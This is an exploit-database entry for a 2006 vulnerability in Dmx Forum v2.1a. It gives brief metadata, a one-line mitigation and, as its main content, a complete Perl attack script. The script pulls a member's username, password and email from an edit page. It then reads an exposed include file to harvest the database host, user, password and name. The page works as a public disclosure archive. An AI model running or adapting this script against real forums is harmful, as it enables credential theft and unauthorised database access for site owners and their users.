header-logo
Suggest Exploit
vendor:
Dmx Forum
by:
DarkFig
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Dmx Forum
Affected Version From: v2.1a
Affected Version To: v2.1a
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

Dmx Forum <= v2.1a SQL Injection Exploit

This exploit allows an attacker to gain access to the username, password, email, DBHOST, DBUSER, DBPASS, and DBNAME of a vulnerable Dmx Forum version <= v2.1a. The attacker can use this information to gain access to the database and potentially gain access to sensitive information.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in a SQL query.
Source

Exploit-DB raw data:

#!/usr/bin/perl
#
# by DarkFig -- www.acid-root.new.fr
#
use LWP::Simple;

if ( !$ARGV[1] ) {
header();
print "\n| Usage: <url> <member_id> ----------------|";
print "\n+------------------------------------------+";
print "\n| Example: http://localhost/dmx/ 1   ------|";
end();
}

sub header {
print "\n+------------------------------------------+";
print "\n| Dmx Forum <= v2.1a SQL Injection Exploit |";
print "\n+------------------------------------------+";
}

sub end {
print "\n+------------------------------------------+\n";
exit;
}

$err0 = "\n[-]Can't connect to the host !";

header();
$url = "$ARGV[0]"."pops/edit.php?membre="."$ARGV[1]";
$req = get($url) or print "$err0";

if( $req =~ /input name="pseudo" type="text" id="pseudo" value="(.*?)"/ ){
print "\n [+]Username: $1";
$req =~ /input name="pwd" type="password" id="pwd" value="(.*?)"/ , print "\n [+]Password: $1";
$req =~ /input name="email" type="text" id="email" value="(.*?)"/ , print "\n [+]Email: $1";} else {print "\n[-]Part 1 failed !";}


$url2 = "$ARGV[0]"."_includes/bd.inc";
$req2 = get($url2) or print "$err0";
if($req2 =~ /host = "(.*?)";/)
{print "\n[+]DBHOST: $1";
$req2 =~ /user = "(.*?)";/;print "\n[+]DBUSER: $1";
$req2 =~ /pass = "(.*?)";/;print "\n[+]DBPASS: $1";
$req2 =~ /bdd = "(.*?)";/;print "\n[+]DBNAME: $1";
} else {print "\n[-]Part 2 failed !";}

end();

# milw0rm.com [2006-06-05]